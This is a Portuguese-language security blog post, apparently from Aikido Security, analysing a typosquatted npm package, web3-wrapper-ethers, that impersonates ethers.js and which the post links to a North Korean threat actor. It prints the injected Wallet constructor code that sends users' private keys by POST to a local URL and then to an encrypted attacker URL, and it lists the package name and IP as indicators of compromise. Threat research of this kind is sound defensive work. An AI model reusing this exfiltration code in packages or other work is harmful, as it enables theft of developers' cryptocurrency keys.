Aikido

Pacote malicioso de roubo de criptografia visa programadores Web3 numa operação norte-coreana

Charlie Eriksen
Charlie Eriksen
|
#

Na semana passada, o nosso pipeline de análise automática de malware assinalou um pacote suspeito web3-wrapper-ethers. O pacote faz-se passar pelo popular éteres e contém código ofuscado concebido para roubar chaves privadas. A nossa investigação revelou que o pacote pode estar associado ao agente da ameaça conhecido como Dokkaebi nulo, um grupo conhecido por roubar criptomoedas de programadores envolvidos no desenvolvimento de tecnologias web3, blockchain e criptomoedas.

O pacote

O pacote foi inicialmente lançado em 5 de junho às 12:45 AM GMT+0:

Vemos alguns sinais reveladores de que este pacote foi construído para enganar. O nome do pacote é web3-wrapper-ethers, mas o campo do repositório aponta para o éteres.js no GitHub. De facto, os atacantes simplesmente copiaram o repositório e fizeram pequenas modificações. Lançaram um total de 5 versões no espaço de um dia.

O autor

O pacote foi lançado por kaufman0913, com o correio eletrónico correspondente de kaufman0913@gmail[.]com

A escolha de uma imagem de Rapunzel de muito baixa resolução é... interessante. Mas não nos vamos deixar levar por isso para já.

O que é que o pacote faz?

Para descobrir o que o pacote está a tentar fazer, descarregámos uma cópia da última versão do ethers e fizemos uma comparação com ela para ver o que os atacantes tinham feito.

Observámos que as versões 6.14.3 e 6.14.4 não tiveram modificações efectivas em nenhum código, apenas alteraram o nome do pacote. 

As coisas começam a mudar na versão 6.14.5onde vemos que eles adicionaram uma nova dependência no package.json, acrescentando busca de nós e o correspondente @tipos/node-fetch devDependência. Veremos porquê em breve.

O ficheiro principal que o programador modificou é o ficheiro src.ts/wallet/wallet.tso que também leva a alterações em lib.esm/wallet/wallet.js e lib.commonjs/wallet/wallet.jsque são as versões compiladas correspondentes do mesmo ficheiro.

Vemos em 6.14.5 que alteraram o construtor da classe, acrescentando tudo o que está abaixo do super() chamada::

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

Aqui vemos um sinal revelador de que estão a tentar exfiltrar chaves privadas. De facto, os seus comentários são muito claros quando dizem que estão a enviar a chave privada para um servidor. Mas está a apontar para um endereço local. Portanto, estão a fazer isto em tempo real, o que é bom. Dá-nos uma ideia do seu processo de desenvolvimento.

Em 6.14.6O código muda. Agora tem o seguinte aspeto:

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

Então, o que está por detrás da variável enc encriptada? Aqui está!

http:/74.119.194[.]244/fetch

Vê alguma coisa estranha? É um URL HTTP inválido. Está a faltar um / no protocolo. Ops! 

O último lançamento, 6.14.7não introduz quaisquer alterações significativas. Simplesmente remove o comentário no código e o console.log. Os atacantes devem ter imaginado que já tinham terminado, pelo que puderam remover a admissão de que era malicioso e o registo de depuração. No entanto, não resolveram o problema de o URL ainda ser inválido. 

Os norte-coreanos estão a fazer o mesmo?

Há apenas alguns meses, descobrimos que hackers norte-coreanos estão a tentar roubar carteiras de criptomoedas. Também lançaram versões em tempo real, depurando o seu código quebrado. É curioso ver isto a acontecer novamente, não é? Pelo menos desta vez, a primeira coisa que eles fizeram foi incluir o node-fetch, em vez de ficarem batendo a cabeça na parede tentando descobrir por que o áxis as chamadas não estavam a funcionar.

Neste caso, temos outro elemento de informação, o IP. Uma rápida pesquisa no VirusTotal para o IP confirma a nossa suspeita:

O comentário faz referência:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

E, de facto, vemos que a lista IOC da TrendMicro menciona este IP como sendo um nó Egress: Atividade alinhada com a RPDC, através de RDP a partir de endereços IP da RU. E os seus relatórios extensivos estão muito em linha com o que vemos neste pacote: Visando os programadores envolvidos com web3/criptografia, tentando roubar moeda. 

Indicadores de compromisso

Felizmente, não há indicação de que este pacote possa ter causado danos se for descarregado e/ou executado, dado que o código não estava totalmente funcional. Mas se instalou o pacote, faça uma auditoria ao tráfego para o IP abaixo para ter a certeza de que não foram causados danos. Se notar algum tráfego para este endereço IP, presuma que as suas chaves criptográficas foram comprometidas. 

Embalagem:

web3-wrapper-ethers

IP:

74.119.194[.]244

Veja mais sobre a investigação da Aikido Security aqui

Obter segurança gratuitamente

Proteja seu código, nuvem e tempo de execução em um sistema central.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito |Avaliação dos resultados em 32 segundos.